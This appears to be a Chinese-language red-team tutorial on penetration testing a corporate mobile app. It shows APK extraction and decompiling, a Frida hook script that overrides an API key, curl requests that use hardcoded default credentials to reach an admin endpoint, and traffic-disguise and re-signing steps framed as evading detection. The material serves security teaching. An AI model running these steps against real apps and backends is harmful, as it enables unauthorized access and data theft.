一、一次真实的移动端渗透案例
某企业内部开发了一款移动办公应用,允许员工通过移动端访问公司内部的文件、邮件和业务系统。红队接到的任务是模拟攻击者对这款应用进行渗透测试,评估其安全性。目标明确:获取敏感数据、突破权限限制,并对C2通信进行隐蔽处理。
攻击开始时,我们从网络抓包中发现该应用流量未加密,随后通过逆向工程和调试,找到了潜在的漏洞入口。接下来,我们将完整复盘这次攻击的全过程,并通过代码和工具展示如何一步步攻破移动端应用。
二、基础信息收集:反编译与静态分析
在对移动端应用发起攻击时,第一步是获取APK或IPA文件并进行静态分析。这步通常用于寻找硬编码的敏感信息(例如API密钥、私有URL)和目标应用的逻辑漏洞。

工具与依赖
在分析过程中,我们主要使用以下工具:
- apktool:解包和重新打包APK文件。
- jd-gui:查看反编译后的Java代码。
- frida:动态调试框架,用于hook敏感函数。
- drozer:移动端测试框架,专注于与Android系统交互。
APK解包与反编译
首先,我们需要获取目标APK文件,可以通过以下方式:
- 从目标网站或应用市场下载。
- 从目标设备中提取:
<pre><code class="language-bash"> adb pull /data/app/com.target.app-1/base.apk ./target_app.apk `
接着用 apktool 解包 APK:</code></pre>bash apktool d target_app.apk -o target_app <pre><code>
硬编码信息的快速筛查
解包后,重点查看AndroidManifest.xml和res/values/strings.xml文件。这些地方可能泄露如后端API地址、密钥等敏感信息。
用简单的grep命令快速查找关键字:</code></pre>bash grep -r "http" ./target_app grep -r "key" ./target_app <pre><code> 在这个案例中,我们发现了以下内容:</code></pre>xml <string name="api_base_url">http://internal.api.target.com/v1/</string> <string name="api_key">abcd1234supersecret</string> <pre><code> 这个API地址和密钥显然是后端通信的核心,接下来我们就可以针对这些信息设计攻击。
反编译Java代码
将APK中的classes.dex文件反编译为Java代码:</code></pre>bash dex2jar classes.dex -o classes-dex2jar.jar <pre><code> 然后用jd-gui打开生成的JAR文件,开始分析App的业务逻辑。我们在某个LoginActivity.java中发现了以下代码:</code></pre>java if (username.equals("admin") && password.equals("default_pass")) { // Grant access loginSuccess(); } <pre><code> 这段硬编码的默认凭据为后续渗透提供了良好的切入点。接下来,我们进入代码执行层面。
---
三、动态调试:用Frida Hook敏感函数
静态分析完毕后,下一步是利用动态调试工具对目标应用的行为进行实时监控和修改。这里,我们选择了强大的Frida框架。
Frida环境配置
安装Frida依赖:</code></pre>bash pip install frida frida-tools <pre><code> 将Frida服务器推送到目标设备并启动:</code></pre>bash adb push frida-server /data/local/tmp/ adb shell chmod +x /data/local/tmp/frida-server adb shell /data/local/tmp/frida-server & <pre><code> 连接设备后,用以下命令查看目标应用的进程:</code></pre>bash frida-ps -U <pre><code> 找到目标进程后,附加到进程:</code></pre>bash frida -U -n com.target.app <pre><code> 
Hook逻辑
接下来编写一个Hook脚本,拦截API密钥和后端请求。以下是一个使用Frida的Python脚本示例:</code></pre>python import frida import sys
def on_message(message, data):
打印Hook的输出
print(f"[Hook] {message}")
定义Hook脚本
frida_script = """ Java.perform(function () { var TargetClass = Java.use("com.target.app.network.ApiClient"); TargetClass.setApiKey.implementation = function(key) { console.log("[] Original API Key: " + key); // 修改为自定义API Key var newKey = "hacked1234"; console.log("[] Overriding with new API Key: " + newKey); this.setApiKey(newKey); }; }); """

连接设备并注入脚本
device = frida.get_usb_device() pid = device.spawn(["com.target.app"]) session = device.attach(pid) script = session.create_script(frida_script) script.on('message', on_message) script.load() device.resume(pid) sys.stdin.read() <pre><code> 运行脚本后,我们成功拦截并修改了目标应用的API密钥。
---
四、API滥用与后端渗透
通过分析前面获取到的API信息,我们尝试与后端进行交互。API测试工具可以用Postman或curl。
API重放攻击
测试其中一个API接口:</code></pre>bash curl -X POST http://internal.api.target.com/v1/login \ -H "Authorization: Bearer abcd1234supersecret" \ -d '{"username": "admin", "password": "default_pass"}' <pre><code> 返回结果表明登录成功,我们得到了一个access_token:</code></pre>json { "access_token": "eyJhbGciOiJIUzI1NiIsInR..." } <pre><code>
权限提升
利用access_token尝试访问管理员接口:</code></pre>bash curl -X GET http://internal.api.target.com/v1/admin/dashboard \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR..." <pre><code> 成功获取管理员数据。这表明后端对权限的校验存在漏洞,我们可以进一步扩展攻击范围。
---
五、伪装与免杀:隐匿攻击痕迹

为了避免被安全设备或防护机制检测到,我们需要对通信流量进行伪装,并对恶意代码进行混淆处理。
流量伪装
利用mitmproxy为流量添加伪装头:</code></pre>bash mitmproxy -s add_headers.py <pre><code> 伪装脚本add_headers.py内容如下:</code></pre>python def request(flow): flow.request.headers["User-Agent"] = "Mozilla/5.0 (Linux; Android 10)" flow.request.headers["Referer"] = "http://legit.site.com" <pre><code>
APK重签名
修改APK后需要重新签名,防止安装时被系统拦截:</code></pre>bash keytool -genkey -v -keystore my-release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-key-alias jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA-256 \ -keystore my-release-key.jks target_app.apk my-key-alias `
---
六、个人经验:如何更高效地渗透移动端?
- 抓住流量入口:未加密流量和API滥用是移动端渗透的热门目标。
- 善用动态调试:Frida几乎是万能工具,学会它能极大提高测试效率。
- 关注硬编码:不管是API密钥还是默认凭据,很多开发者都会在静态资源中犯低级错误。
- 代码重用与自动化:将关键步骤脚本化,省时省力。
移动端渗透测试是一个综合性的对抗过程,熟练掌握工具和代码能力是成功的关键。